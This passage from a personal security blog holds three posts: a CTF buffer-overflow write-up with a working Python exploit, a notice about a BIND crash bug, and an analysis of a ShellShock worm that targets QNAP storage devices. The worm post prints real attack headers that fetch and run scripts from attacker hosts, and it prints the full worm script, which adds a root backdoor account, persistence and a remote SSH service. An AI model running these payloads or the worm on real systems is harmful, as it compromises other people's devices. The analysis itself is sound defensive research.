    Looking in the data dump, we can see that the string '/bin/sh' resides in memory starting at address Hex 08048700.  Any code in the program which uses this string must somehow refer to this memory address when it invokes /bin/sh.  So I spent a fair amount of time using the edb Reference Searcher plugin trying to find code which referred to this memory location.  When that didn't pan out, I tried using the Binary Searcher to search for any part of the program which had this memory address in it.  No dice.

    What was I doing wrong?  This had to be the right approach!

    Finally, I looked a somebody else's (Blast Hardcheese) solution - and it all became clear.

    The mistake I made was that when I searched for 08048700, i.e. the address of the string '/bin/sh', I didn't take into account that on Intel x86 computers, addresses are stored in 'little endian' format.  This means that the actual bytes in memory are stored in opposite order than we read them.  Instead of searching for 08048700, I should have searched for 00870408.  If I had, I would have found the following little snippet of code:


    You can see in the 4th line that the address of the string '/bin/sh' (08048700) is loaded into the stack and then some subroutine is called.  That's enough to show that this is the routine we need to call.

    Remember, we know that the program will go to whatever address starts at the 140th character in our input string.  So if we put Hex 0804858d (which is where the code above starts) in the input string there, we'll end up running the code which uses '/bin/sh'.  WoooHoooo!

    One last detail remains, which is to discover by trial and error that this routine actually reads a command from the user input to execute when it calls /bin/sh.

    Although not critical to success, I also discovered that there is no need for the input string to extend beyond the address to goto.  So it only needs to be 144 characters long.

    So here's the essence of the exploit:
    • Overly long input will cause the program to read 4 bytes starting at the 140th character in the input and goto that address. BTW, those 4 bytes need to be in little endian format.  :-)
    • At Hex 0804858d is a routine which will read the next line of input, and execute that command in /bin/sh
    • So we provide an input string which has the hex value 0804858d starting at the 140th character.
    • On the next line, provide a command to execute
    Here's the final exploit:
    ___________________________________
    #!/usr/bin/python

    # exploit a buffer overflow in the OpenCTF challenge, tyro_overflow

    padding = ('A' * 140)  # Overflow the input with 140 characters

    jmpAddr = '\x8d\x85\x04\x08'  # 0x0804858d in little endian format

    exploitString = padding + jmpAddr

    print exploitString

    print "uname -a"   # just a command to show it worked
    ___________________________________

    And here it is in action:



    Here's the other writeup which helped me figure out what I was missing:

    https://ctftime.org/writeup/3643

    Saturday, August 1, 2015

    What? No Logo?

    As is appropriate for a blog named "We're Doomed", I've rousted myself out of a deep summer slumber to comment on the tkey bug in Bind.

    We're doomed!

    I've always been attracted to the single packet kill, and that's what this effectively is (the POC I have actually sends a few packets, but I don't think they're all necessary.

    The Bind software is one of the foundations of the Internet.  It's software which does DNS translation, converting the string "www.google.com" into its actual address on the Internet.  Unless you're given to memorizing IP addresses (in which case, you must love IPv6), DNS needs to up and working for you to use the Internet.

    Tuesday, a bug in Bind was announced which allows anyone who can send a DNS query to a Bind server to crash it. Just like that ... somebody can crash any Bind server they can reach. Quickly.  Easily.  Indiscriminately.

    Watch ...

    Here's how to download, compile and execute the attack in six easy steps:



    Here's the victim's perspective:



    Now, imagine a script running this against ... whatever.

    I would encourage you to download the POC made available by Robert Graham (see the second reference below.)  It's very nicely commented C code that describes the bug in some detail.  BTW, the code is designed to be portable between most OS.  The Git archive for this POC also provides a Windows .exe (which I have not tested.)

    If you're responsible for DNS somewhere and you somehow depend on Bind (i.e. some commercial DNS solutions use Bind), stop reading this and test and deploy the patch now! 

    Here are some references:


    Sunday, December 14, 2014

    A little ShellShock fun

    Recently I had the good luck to be the victim of an attack/probe that attempted to exploit the ShellShock (aka bash-shell) vulnerability.  Of course it didn't work, but it was fun to poke at.

    The initial attack consisted of a connection to a web server with a bash exploit embedded in the HTTP header:

    URL: "/cgi-bin/authLogin.cgi"  
    HTTP header included: "User-Agent: () { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1 " 

    This looks like fun! 

    It's very clear here what the exploit it trying to do.  The User-Agent is passed to the application as an environment variable.  This sets up the bash vulnerability, which proceeds to executes code to delete any previous copies of itself, grab a copy of S0.sh from a distribution point aand execute it.  Let's also grab a copy and see what we get.


    First though, let's think about safety for a second.  We know this is a malicious attack, so we have to assume that there might be some nasty surprises to be found.  Here are some of the precautions that I took (you may decide to take others)
    1. The initial attack appears to be a simple shell script, so it should be safe to download and view.  Despite that, I spun up a VM with no sensitive data or access, to work on this.  Probably overly paranoid, but don't forget that /bin/less was recently compromised.
    2. In the spirit of being paranoid, I decided not to expose an IP address I care about to the attacker.  If the attacker wants to, he/she might be able to determine from their logs when non-infected machines connect to there server.  No point in giving them a more interesting target to attack.
    3. If I were to get to the point of executing malicious code (which, in this case, I didn't) I would be even more paranoid about building a stand-alone environment.
    So after taking these precautions, I grabbed a copy of S0.sh (see the listing below) and started to look.

    The good news is that they didn't try to obfuscate the code.  In fact, we'll see there are even a few comments left.

    Line 3 looks to me like an attempt to cover their tracks a bit.  There won't be any tell-tale commands floating around an an account's command line history.

    Line 5 is the first really interesting part.  Interestingly, this is the same IP that the initial exploit downloaded S0.sh from.  In my copy of the exploit, this address resolves to gaspolo.uaservers.net.  Doing a quick web search for this hostname brings up a record on a blacklist site where somebody complained three days ago about "hacking" from that site.   It's nice to see that I'm not alone.  :-)

    S0.sh consists of two main parts ... the first part does the initial setup and downloads additional programs, and then the second part installs the worm and executes some additional commands.

    On line 10 we can see that they're starting to make decisions based on the architecture of the machine running S0.sh.  Lines 10 - 90 handle downloading the new programs and setting up the environment for them to run in (for the ARM architecture).   Lines 91-176 handle Intel 686 processors (essentially 32 bit Intel) and lines 177 - 226 are for 64 bit Intel machines.  Although the sections are different in some ways, they're essentially the same:
    • They download two files, and install them on the machine
    • They set up a script "autorun" to run those two files. 
    • For the ARM and 686 architectures, they install a package manager (the "Itsy" package manager)
    • They start ssh on port 26 (e.g. see line 168)
    In the second part of the script, which begins around line 227, all three architectures run the same code
    • They add an account named "request" (on line 233)
      • I'm running John against the password hash.  But I don't have a 31337 password cracking rig so I don't expect much. :-)
    • They install a patch against the ShellShock bug (see line 246)
      • I believe this is why they installed the Itsy package manager
    • If it's not already there, they download a program named "run" to a hidden directory, which they then run (line 252, 263)
      • A comment (line 250) implies this is the scanner
    • They reboot the machine

    Unfortunately, my analysis of this script is limited and ends here.  By the time I got around to trying to analyze this script, the server which provides the downloaded files was no longer responding.  Either the load of providing these files to all the infected machines has overwhelmed it, it's being subject to a DOS attack, or it's been taken down.  Given that my download attempts timed out, versus my getting a file not found or a RST, I tend to favor the first two theories.  In any event, I was unable to grab a copy of the other files from this server.

    Note BTW the comment on line 6, which hints at another possible site to get this software.  Do Not Just Blindly Go There!  Attempts to collect the files from there just produce an attempt by that site to redirect you to a known malicious site, bodisparking.com. 

    Based on the patch which is installed, it's clear that this worm is trying to compromise QNAP devices (qnap.com ).   QNAP is a provider of network storage devices, including devices intended for home or small business use.   While it seems likely that compromised QNAP devices are being used to scan for more victims (the reference to scan on line 250), it remains unclear what additional use the attackers make of compromised machines.

    One final bit of information: The server which was attacked with this script, actually has seen several other identical attacks from numerous sources.  However, no other machines "nearby" it have been attacked.  That's a bit odd, normally attackers try an attack and then move on, they don't keep hitting the same machine with the same attack.  My guess is that the compromised machines form a botnet which is where the attacks originate from.  However if the command & control server is unreachable (which is implied by the download server timing out), the servers are all stuck scanning the same list of addresses instead of receiving updated scanning instructions.... resulting in my one server being hit repeatedly.

    Update 12/21/2014: So the line of reasoning above turns out to be completely wrong.  Based on a suggestion, I dug deeper and was surprised to discover that only one of the many Internet facing servers actually listens on port 8080, so it's the only one which is seeing this probe.  Sometimes, the explanation to something is *way* simpler than you expect.  :-)

    So that's it.  The investigation accomplished my primary objective, which was to assess the risk of this attack to the machine being attacked.  I can safely say that the machine being attacked by this worm is not at risk.

    My secondary goal was to understand why the machine was being attacked, and to learn something about the methods and intentions of the attackers.  In that goal I was less successful, primarily because I did not succeed in obtaining and analyzing the complete attack package.  But I still learned a lot, and had a lot of fun!

    I also learned a good lesson ...  when something like this comes along, you need to jump on it quickly.  The infrastructure associated with an attack is ephemeral, and if you're not prepared ahead of time, and don't investigate it quickly, you may lose your chance. Build that spare VM now!  And think through ahead of time what you're going to do when something like this comes along!

    Here's the actual code in S0.sh, which is the code that would be executed if the initial ShellShock attack had succeeded.  The only change I've made is to add line numbers.

    
     
    
      1: #!/bin/sh
      2: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
      3: unset HISTFIE ; unset REMOTEHOST  ; unset SHISTORY ; unset BASHISTORY
      4: os=`uname -m`
      5: ip=185.14.30.79
      6: #wget -P /tmp/  http://qupn.byethost5.com/gH/S0.sh ; cd /tmp/ ; chmod +x S0.sh ; sh S0.sh
      7: #
      8: #
      9: fold=/share/MD0_DATA/optware/.xpl/
     10: if [[ "$os" == 'armv5tel' ]]; then
     11:  echo "nameserver 8.8.8.8" >> /etc/resolv.conf
     12:  mkdir -p /share/MD0_DATA/optware/
     13:  mkdir -p /share/MD0_DATA/optware/.xpl/
     14: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
     15: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
     16: wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/armgH.cgi
     17:   
     18: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
     19: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/.cgi
     20: busybox wget -c -P /share/MD0_DATA/optware/.xpl/ http://$ip/armgH.cgi
     21: wget -c -P /home/httpd/cgi-bin/  http://$ip/armgH.cgi
     22: busybox wget -c -P /home/httpd/cgi-bin/  http://$ip/armgH.cgi 
     23:    chmod +x ${fold}.cgi
     24:    chmod 4755 /home/httpd/cgi-bin/armgH.cgi
     25: mv /home/httpd/cgi-bin/armgH.cgi /home/httpd/cgi-bin/exo.cgi
     26: cp /home/httpd/cgi-bin/exo.cgi  ${fold}.exo.cgi
     27: sleep 1
     28: mount -t ext2 /dev/mtdblock5 /tmp/config
     29: sleep 2
     30: echo "/share/MD0_DATA/optware/.xpl/.cgi" >> /tmp/config/autorun.sh
     31: echo " " >> /tmp/config/autorun.sh
     32: echo "cp /share/MD0_DATA/optware/.xpl/.exo.cgi /home/httpd/cgi-bin/exo.cgi" >> /tmp/config/autorun.sh
     33:    sort -u /tmp/config/autorun.sh >> /tmp/a
     34:    mv /tmp/a /tmp/config/autorun.sh
     35:    chmod +x /tmp/config/autorun.sh
     36: echo "sleep 30 && cp -f /opt/sbin/sshd /usr/sbin/sshd && /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 & " >> /tmp/config/autorun.sh
     37: echo "sleep 200 && sh `echo ${fold}run` &" >> /tmp/config/autorun.sh
     38: echo 'cp /etc/resolv.conf /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
     39: echo 'cp /etc/hostname /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
     40: echo 'cp /etc/TZ /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
     41: echo 'cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
     42: echo 'rm -rf /opt' >> /tmp/config/autorun.sh
     43: echo 'ln -sf /share/MD0_DATA/optware/opt /opt' >> /tmp/config/autorun.sh
     44: echo '' >> /tmp/config/autorun.sh
     45: echo 'mount -o bind /dev /share/MD0_DATA/optware/dev' >> /tmp/config/autorun.sh
     46: echo 'mount -o bind /proc /share/MD0_DATA/optware/proc' >> /tmp/config/autorun.sh
     47: echo 'mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb' >> /tmp/config/autorun.sh
     48: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia' >> /tmp/config/autorun.sh
     49: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload' >> /tmp/config/autorun.sh
     50: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb' >> /tmp/config/autorun.sh
     51: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb' >> /tmp/config/autorun.sh
     52: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public' >> /tmp/config/autorun.sh
     53: echo '# adding Ipkg apps into system path ...' >> /tmp/config/autorun.sh
     54: 
     55: echo "export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin " >> /tmp/config/autorun.sh
     56: 
     57:  cp -af /share/MD0_DATA/optware/Optware-ipkg.sh /share/MD0_DATA/optware.foo/Optware-ipkg.sh
     58:  mkdir -p /share/MD0_DATA/optware/opt
     59:  mkdir /share/MD0_DATA/optware/ipkglib
     60:  cd /
     61:  cp -fr /opt/* /share/MD0_DATA/optware/opt/
     62:  ln -sf /share/MD0_DATA/optware/ipkglib /usr/lib/ipkg
     63:  ln -sf /share/HDA_DATA/optware/ipkglib /usr/lib/ipkg
     64:  rm -rf /opt
     65:  ln -sf /share/MD0_DATA/optware/opt /opt
     66:  cd /share/MD0_DATA/optware/opt 
     67: wget -c http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/unstable/ipkg-opt_0.99.163-10_arm.ipk
     68:  tar -xOvzf ipkg-opt_*_arm.ipk ./data.tar.gz | tar -C / -xzvf -
     69: echo 'src cs05q3armel http://ipkg.nslu2-linux.org/feeds/optware/cs05q3armel/cross/stable' >> /opt/etc/ipkg.conf
     70: /opt/bin/ipkg update
     71:  cd /share/MD0_DATA/optware 
     72: /opt/bin/ipkg update 
     73: echo '#!/bin/sh' >> /usr/bin/ipkg
     74: echo 'echo "${$1}lling"'>> /usr/bin/ipkg
     75: echo '/opt/bin/ipkg install  $2 --tmp-dir=/share/MD0_DATA/ '>> /usr/bin/ipkg
     76: chmod 777 /usr/bin/ipkg
     77: ipkg install openssh
     78: sleep 1
     79:  cp -f /opt/sbin/sshd /usr/sbin/sshd
     80:  cp -f /opt/etc/openssh/sshd_config /etc/ssh/sshd_config
     81: sleep 2
     82: /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26
     83:   cd /
     84:   umount /tmp/config
     85: 
     86:  rm -fr /mnt/update /mnt/HDA_ROOT/update
     87:  umount /mnt/update
     88: 
     89: sleep 1
     90:  rm -fr /mnt/update
     91: elif [[ "$os" == 'i686' ]]; then 
     92:  echo "nameserver 8.8.8.8" >> /etc/resolv.conf
     93:  mkdir -p /share/MD0_DATA/optware/ $fold
     94: 
     95:  
     96: wget -c -P $fold http://$ip/..32
     97: wget -c -P $fold http://$ip/gH.cgi
     98: 
     99: busybox wget -c -P $fold http://$ip/..32
    100: busybox wget -c -P $fold http://$ip/gH.cgi
    101:  chmod 4755 ${fold}gH.cgi 
    102:  chmod 777 ${fold}..32
    103: mv ${fold}gH.cgi ${fold}.exo.cgi
    104: cp -fr ${fold}.exo.cgi /home/httpd/cgi-bin/exo.cgi
    105: 
    106: mount /dev/sdx6 /tmp/config
    107: echo "`echo ${fold}`..32" >> /tmp/config/autorun.sh
    108:    sort -u /tmp/config/autorun.sh >> /tmp/a
    109:    mv /tmp/a /tmp/config/autorun.sh
    110: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
    111:    chmod 777 /tmp/config/autorun.sh
    112:    cd /
    113: 
    114: 
    115: umount  /tmp/config
    116: PUF=`ls -a /dev/s* | grep -v 1 | grep  6 `
    117: echo $PUF >> /tmp/az1
    118: for LINE in `cat /tmp/az1`; do PAte=`echo $LINE `; /bin/mount -t ext2 $PAte  /tmp/config ; /bin/sleep 1  ; done 
    119: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
    120: echo "`echo ${fold}`..32" >> /tmp/config/autorun.sh
    121:   cat /tmp/config/autorun.sh | sort -u >> /tmp/a
    122:   mv /tmp/a /tmp/config/autorun.sh
    123:   cat /tmp/config/autorun.sh | grep -v exo >> /tmp/o
    124: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/o
    125:   mv /tmp/o /tmp/config/autorun.sh
    126:   chmod +x /tmp/config/autorun.sh
    127: echo 'cp /etc/resolv.conf /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
    128: echo 'cp /etc/hostname /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
    129: echo 'cp /etc/TZ /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
    130: echo 'cp /etc/config/passwd /etc/config/group /etc/config/shadow /share/MD0_DATA/optware/etc' >> /tmp/config/autorun.sh
    131: echo 'rm -rf /opt' >> /tmp/config/autorun.sh
    132: echo 'sleep 2' >> /tmp/config/autorun.sh
    133: echo 'ln -sf /share/MD0_DATA/optware/opt /opt' >> /tmp/config/autorun.sh
    134: echo '' >> /tmp/config/autorun.sh
    135: echo 'mount -o bind /dev /share/MD0_DATA/optware/dev' >> /tmp/config/autorun.sh
    136: echo 'mount -o bind /proc /share/MD0_DATA/optware/proc' >> /tmp/config/autorun.sh
    137: echo 'mount -o bind /proc/bus/usb /share/MD0_DATA/optware/proc/bus/usb' >> /tmp/config/autorun.sh
    138: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qmultimedia' >> /tmp/config/autorun.sh
    139: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qdownload' >> /tmp/config/autorun.sh
    140: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qusb' >> /tmp/config/autorun.sh
    141: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Qweb' >> /tmp/config/autorun.sh
    142: echo 'mount -o bind /share/MD0_DATA/Qmultimedia /share/MD0_DATA/optware/mnt/ext/Public' >> /tmp/config/autorun.sh
    143: echo '# adding Ipkg apps into system path ...' >> /tmp/config/autorun.sh
    144: echo "export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin:/usr/bin/X11:/usr/local/sbin " >> /tmp/config/autorun.sh
    145: 
    146:  mkdir -p /share/MD0_DATA/optware/opt
    147:  mkdir /share/MD0_DATA/optware/ipkglib
    148:  cd /
    149:  cp -fr /opt/* /share/MD0_DATA/optware/opt/
    150:  ln -sf /share/MD0_DATA/optware/ipkglib /usr/lib/ipkg
    151:  rm -rf /opt
    152:  ln -sf /share/MD0_DATA/optware/opt /opt
    153:  cd /share/MD0_DATA/optware/opt
    154: wget -c http://ipkg.nslu2-linux.org/feeds/optware/i686g25/cross/unstable/ipkg-opt_0.99.163-10_i686.ipk
    155:  tar -xOvzf ipkg-opt_*_i686.ipk ./data.tar.gz | tar -C / -xzvf -
    156: echo 'src i686g25 http://ipkg.nslu2-linux.org/feeds/optware/i686g25/cross/unstable/' >> /opt/etc/ipkg.conf
    157: /opt/bin/ipkg update
    158:  cd /share/MD0_DATA/optware
    159: echo '#!/bin/sh' >> /usr/bin/ipkg
    160: echo 'echo "${$1}lling"'>> /usr/bin/ipkg
    161: echo '/opt/bin/ipkg install  $2 --tmp-dir=/share/MD0_DATA/ '>> /usr/bin/ipkg
    162:  chmod 777 /usr/bin/ipkg
    163: ipkg install openssh
    164: sleep 2
    165:  cp -f /opt/sbin/sshd /usr/sbin/sshd
    166:  cp -f /opt/etc/openssh/sshd_config /etc/ssh/sshd_config
    167: sleep 1
    168: /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26
    169: echo "sleep 200 && sh `echo ${fold}run` &" >> /tmp/config/autorun.sh
    170: echo "sleep 80 && cp -f  /opt/etc/openssh/sshd_config /etc/ssh/sshd_config && cp -f /opt/sbin/sshd /usr/sbin/sshd && /usr/sbin/sshd -f /etc/ssh/sshd_confg -p 26 &" >> /tmp/config/autorun.sh
    171:                 cd /
    172:  umount  /tmp/config
    173:  sleep 1
    174: 
    175: 
    176: 
    177: elif [[ "$os" == 'x86_64' ]]; then
    178:   echo "nameserver 8.8.8.8" >> /etc/resolv.conf
    179: #  mkdir -p $fold
    180:    
    181: wget -P $fold http://$ip/..64
    182: wget -P $fold http://$ip/64.cgi
    183:  cp ${fold}64.cgi /home/httpd/cgi-bin/exo.cgi
    184:  mv ${fold}64.cgi ${fold}.exo.cgi
    185:   chmod +x ${fold}..64
    186:   chmod 4755 ${fold}64.cgi
    187: mount -t ext2 /dev/sdk6 /tmp/config
    188:   sleep 2
    189:   echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
    190:                         chmod 777 /tmp/config/autorun.sh
    191:    echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
    192:   cd /
    193: umount /tmp/config
    194: rm -fr /tmp/config/autorun.sh
    195: mount /dev/sdx6 /tmp/config
    196: sleep 2
    197:                 echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/config/autorun.sh
    198:                         chmod 777 /tmp/config/autorun.sh
    199:                         echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
    200:                 cd /
    201: umount /tmp/config
    202: rm -fr /tmp/config/autorun.sh
    203: mount -t ext2 /dev/sdg6 /tmp/config
    204: sleep 2
    205:                 echo "cp `echo ${fold}`.exo.cgi  /home/httpd/cgi-bin/exo.cgi "  >> /tmp/config/autorun.sh
    206:                         chmod 777 /tmp/config/autorun.sh
    207:                         echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
    208:                 cd /
    209: umount /tmp/config
    210: rm -fr /tmp/config/autorun.sh
    211: 
    212: PUF=`ls -a /dev/s* | grep -v 1 | grep  6 `
    213: echo $PUF >> /tmp/az1
    214: for LINE in `cat /tmp/az1`; do PA9=`echo $LINE `; /bin/mount -t ext2 $PA9  /tmp/config ; /bin/sleep 1  ; done
    215: /bin/sleep 1
    216: export PATH=/opt/sbin:/opt/bin:/usr/local/bin:/bin:/usr/bin:/usr/sbin:/mnt/ext/usr/bin:/mnt/ext/usr/local/bin
    217:   sort -u /tmp/config/autorun.sh >> /tmp/config/aa
    218:   /bin/mv /tmp/config/aa /tmp/config/autorun.sh 
    219: echo "cp `echo ${fold}`.exo.cgi  /home/httpd/cgi-bin/exo.cgi "  >> /tmp/config/autorun.sh
    220: chmod 777 /tmp/config/autorun.sh
    221: echo "`echo ${fold}`..64" >> /tmp/config/autorun.sh
    222: cd /
    223: cat /tmp/config/autorun.sh | grep -v exo >> /tmp/o
    224: echo "cp `echo ${fold}`.exo.cgi /home/httpd/cgi-bin/exo.cgi " >> /tmp/o
    225: umount /tmp/config
    226:  fi
    227: 
    228:  Search="request"
    229:  Files="/etc/passwd"
    230:  if grep $Search $Files; then
    231:   echo "$Search user its just added!"
    232:  else
    233:   echo "request:x:0:0:request:/share/homes/admin:/bin/sh" >> /etc/passwd
    234:   echo 'request:$1$$PpwZ.r22sL5YrJ1ZQr58x0:15166:0:99999:7:::' >> /etc/shadow
    235:  fi
    236: 
    237: 
    238: #conf group
    239: TETTE=`cat /etc/group | grep administra`
    240: printf "$TETTE,request" >> /tmp/g
    241:  cat /etc/group | grep -v adminis >> g
    242:  mv g /etc/group 
    243:  chmod 777 /etc/group
    244: #inst patch
    245: 
    246: wget -P /mnt/HDA_ROOT/update_pkg/ http://eu1.qnap.com/Storage/Qfix/ShellshockFix_1.0.2_20141008_all.bin
    247:  chmod +x /mnt/HDA_ROOT/update_pkg/ShellshockFix_1.0.2_20141008_all.bin
    248: /mnt/HDA_ROOT/update_pkg/ShellshockFix_1.0.2_20141008_all.bin
    249: 
    250: #inst scan
    251: sfolder="/share/HDB_DATA/.../"
    252: url69="http://185.14.30.79/run"
    253: #t -P 
    254: if [ ! -f $sfolder ];then
    255: mkdir -p $sfolder
    256: cd $sfolder
    257: wget $url69 
    258: wget $url69 -P ${fold} -q
    259: chmod +x ${sfolder}run ${fold}run
    260: #sh run &
    261: fi
    262: cd $fold
    263: sh run &
    264: 
    265: #`echo ${fold}`
    266: 
    267: busybox reboot
    268: /bin/reboot
    269: /sbin/reboot
    270:  rm  $0
    271:  rm -fr /tmp/S1.sh /tmp/S2.sh /tmp/az1 /tmp/config/autorun.sh /tmp/o  /tmp/S0.sh
    272: exit
    
    
    
    

    Here are some references:

    As usual, SANS is all over this one.  Here's their analysis of what appears to be the same worm:
    https://isc.sans.edu/diary/Worm+Backdoors+and+Secures+QNAP+Network+Storage+Devices/19061

    The devices being attacked: http://www.qnap.com/

    Article about other worms attacking the same devices: http://www.pcworld.com/article/2690932/shellshock-attacks-target-qnaps-network-storage-fireeye-says.html

    Another article about other worms attacking the same devices:  https://www.fireeye.com/blog/threat-research/2014/10/the-shellshock-aftershock-for-nas-administrators.html

    A couple of explanations of the ShellShock vulnerability:
    http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
    http://en.wikipedia.org/wiki/Shellshock_(software_bug)

    The package utility the worm uses: http://en.wikipedia.org/wiki/Ipkg

    Info on the malicious site (bodisparking.com) you're sent to if you contact the host in the comment (qupn.byethost5.com) : http://www.enigmasoftware.com/bodisparkingcom-removal/
    Don't do it!


    Update 12/21/2014: Since the original posting, I have seen several variations of this same attack.  They all utilized the same attack vector (URL is "/cgi-bin/authLogin.cgi", the attack is embedded in the "User-Agent" header).  While they are different, they are all still trying to run a version of S0.sh described above.

    () { :; }; /bin/rm -rf /tmp/S0.php /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://x3q.altervista.org/gH/S0.php -O /tmp/S0.sh && /bin/sh /tmp/S0.sh && sh S0.php 0<&1 2>&1   & 
      
    () { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1   

    () { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget -c http://185.14.30.79/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1
    When I checked the download server for each of these attacks, it was already either down or not providing these files anymore.

    However, as of this writing (12/21/2014 @ 15:10 UTC) the download server for this attack was still responding:

    () { :; }; /bin/rm -rf /tmp/S0.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c  http://192.192.78.216:9090/gH/S0.php -O /tmp/S0.sh  && /usr/bin/wget -c  http://192.192.78.216:9090/gH/S0.php -P /tmp && /bin/sh /tmp/S0.php 0<&1 2>&1

    I have no idea how much longer that server will remain up until it's shutdown.  (I have sent a notification to the best contact I could find.)

    Reviewing the S0.php script from this attack shows that "S0" has evolved, some sections of code have been rewritten, but the ultimate functionality is unchanged.

    Finally, here's my favorite one so far:

    () { :; }; /bin/rm -rf /tmp/io.php && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -q -c http://nyo2k2.altervista.org/io.php -P /tmp && /bin/rm /tmp/io.php 0<&1 2>&1

    Why my favorite?  Compare it to the others ... instead of using /bin/sh to run the attack script, it uses /bin/rm to delete it!  This has got to be a bug; perhaps a test version which made it into the wild or perhaps the result of some weird data corruption which is occurring somehow.  But the overall result is that this version will not propagate itself.

    Fun stuff!

    BTW, thanks to Erich, who's also been looking at this worm and has been generous with the insights he's gleaned about it.